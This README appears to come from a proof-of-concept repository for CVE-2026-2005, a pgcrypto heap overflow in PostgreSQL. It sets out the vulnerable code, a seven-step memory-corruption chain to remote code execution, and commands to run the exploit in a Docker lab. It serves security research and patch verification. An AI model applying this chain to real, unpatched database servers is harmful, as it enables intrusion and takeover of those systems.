Share
## https://sploitus.com/exploit?id=751B640D-0553-5C7C-8078-DF916AE09578
# CVE-2026-2005 โ PostgreSQL pgcrypto Heap Overflow โ RCE
Remote code execution via a single SQL query targeting PostgreSQL's `pgcrypto` extension. The vulnerability is a heap buffer overflow in `pgp_parse_pubenc_sesskey()` that allows corruption of PostgreSQL's internal `MemoryContext` allocator metadata, achieving arbitrary code execution as the `postgres` user.
| | |
|---|---|
| CVE | [CVE-2026-2005](https://nvd.nist.gov/vuln/detail/CVE-2026-2005) |
| Component | `contrib/pgcrypto/pgp-pubdec.c` |
| CWE | CWE-122 (Heap-based buffer overflow) |
| CVSSv3.1 | 8.8 (`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`) |
| Affected | PostgreSQL 14.0โ14.20, 15.0โ15.15, 16.0โ16.11, 17.0โ17.7, 18.0โ18.1 |
| Fixed | 14.21, 15.16, 16.12, 17.8, 18.2 |
| Disclosed | 2026-02-12 |
| Fix commit | `379695d3cc70d040b547d912ce4842090d917ece` |
## Proof of Exploitation



## Quick Start
```bash
git clone https://github.com/dinosn/cve-2026-2005.git
cd cve-2026-2005/lab
docker compose up -d pg-exploit
# Wait ~5s for postgres to initialize
python3 ../poc/exploit.py --run cve-2026-2005-pg-exploit
```

## Root Cause
```c
// contrib/pgcrypto/pgp-pubdec.c โ pgp_parse_pubenc_sesskey()
ctx->cipher_algo = *msg;
ctx->sess_key_len = msglen - 3; // attacker-controlled
memcpy(ctx->sess_key, msg + 1, ctx->sess_key_len); // sess_key is uint8[32]
```
`ctx->sess_key` is a fixed 32-byte buffer embedded in a heap-allocated `PGP_Context` struct. A crafted PGP message with an oversized RSA-encrypted session key drives `sess_key_len` up to ~200 bytes, overflowing into adjacent heap allocations. The fix adds a `sess_key_len > PGP_MAX_KEY` bounds check.
## Exploit Chain
1. **Heap overflow** โ 148-byte overflow past `sess_key[32]` writes fake allocator metadata into the adjacent `MBuf` allocation
2. **Skip bzero** โ Sets `MBuf->data = NULL` so `explicit_bzero` is skipped during cleanup
3. **Fake chunk header** โ Forged `hdrmask` decodes to `blockoffset=64`, redirecting the block pointer to attacker-controlled data
4. **Freelist write** โ `AllocSetFree` writes the chunk address to `MC+16` (the `MemoryContext->methods` field), replacing the vtable pointer
5. **Error return** โ pgcrypto returns a normal error (no crash), triggering PostgreSQL's error handler
6. **VTable hijack** โ `MemoryContextDelete(MC)` calls `methods->delete_context(MC)` through our fake vtable โ `system(MC)`
7. **Command execution** โ `system()` reads the `MemoryContext` struct as a string: `NodeTag 0x1D5` = `"\xd5\x01\x00\x00"` โ executes `/usr/local/bin/\xd5\x01`
## Prerequisites
- Authenticated database access (any user with EXECUTE on pgcrypto functions โ granted to PUBLIC by default)
- `pgcrypto` extension installed (`CREATE EXTENSION pgcrypto`)
- Target-specific addresses (deterministic per Docker image; no PIE ASLR in this container configuration)
- Trigger script pre-planted at `/usr/local/bin/\xd5\x01` (included in `Dockerfile.exploit`)
## Repository Structure
```
โโโ README.md
โโโ poc/
โ โโโ exploit.py # Self-contained exploit generator + runner
โ โโโ gen_exploit_v7.py # Annotated payload builder
โ โโโ gen_payload.py # Crash-only PoC generator (all overflow sizes)
โ โโโ poc_big.sql # Pre-generated crash PoC (SIGSEGV)
โ โโโ poc_minimal.sql # Minimal 4-byte overflow PoC
โโโ lab/
โ โโโ docker-compose.yml # Full lab: vuln, patched, debug, exploit
โ โโโ Dockerfile.exploit # Release build + trigger script (RCE target)
โ โโโ Dockerfile.vuln # Stock vulnerable build (crash demo)
โ โโโ Dockerfile.debug # Cassert build (assertion demo)
โ โโโ init.sql # Database initialization
โ โโโ setup.sh # Lab setup helper
โโโ reports/
โ โโโ RCE-CHAIN.md # Detailed technical exploitation writeup
โ โโโ REPORT.md # Vulnerability analysis report
โ โโโ TODO-FOR-RCE.md # Development log (completed)
โโโ screenshots/
โ โโโ 01-target-verification.png
โ โโโ 02-exploit-fire.png
โ โโโ 03-rce-proof.png
โ โโโ 04-full-run.png
โโโ src/ # Relevant source snippets
```
## Lab Builds
| Container | Port | Purpose |
|---|---|---|
| `pg-exploit` | 5436 | RCE target (stock 17.7 + trigger script) |
| `pg-vuln` | 5433 | Crash demo (stock 17.7, SIGSEGV) |
| `pg-fixed` | 5434 | Patched build (17.8, rejects payload) |
| `pg-debug` | 5435 | Debug build (cassert SIGABRT with source attribution) |
```bash
# Start all containers
cd lab && docker compose up -d
# Crash demo (SIGSEGV on stock build)
docker exec cve-2026-2005-pg-vuln psql -U postgres -d lab -f /tmp/poc_big.sql
docker logs cve-2026-2005-pg-vuln 2>&1 | grep "signal 11"
# Patched build (rejects gracefully)
docker exec cve-2026-2005-pg-fixed psql -U postgres -d lab -f /tmp/poc_big.sql
# ERROR: Public key too big
# Debug build (assertion with file:line)
docker exec cve-2026-2005-pg-debug psql -U postgres -d lab -f /tmp/poc_big.sql
docker logs cve-2026-2005-pg-debug 2>&1 | grep "TRAP"
```
## Limitations
- **Address-dependent**: Exploit uses hardcoded heap addresses specific to `postgres:17.7-bookworm` Docker image. Different builds/environments require address recalibration (via GDB or info-leak).
- **Warmup required**: A single pgcrypto call (`SELECT digest('x','md5')`) in the same connection stabilizes heap layout before the exploit query.
- **Trigger script**: Requires a binary named `\xd5\x01` in PATH. The Dockerfile pre-installs this. Real-world exploitation would require prior write access or a different ROP/one-gadget approach.
- **Release build only**: Debug builds with `--enable-cassert` abort on assertion before the freelist write.
## Timeline
- 2026-02-12: Vulnerability disclosed by Team Xint Code
- 2026-02-13: Fix committed (`379695d`)
- 2026-02-20: Fixed versions released (17.8, etc.)
- 2026-05-05: RCE exploit developed and proven in lab
## Disclaimer
This exploit is provided for authorized security research and educational purposes only. Use only in controlled lab environments with explicit authorization.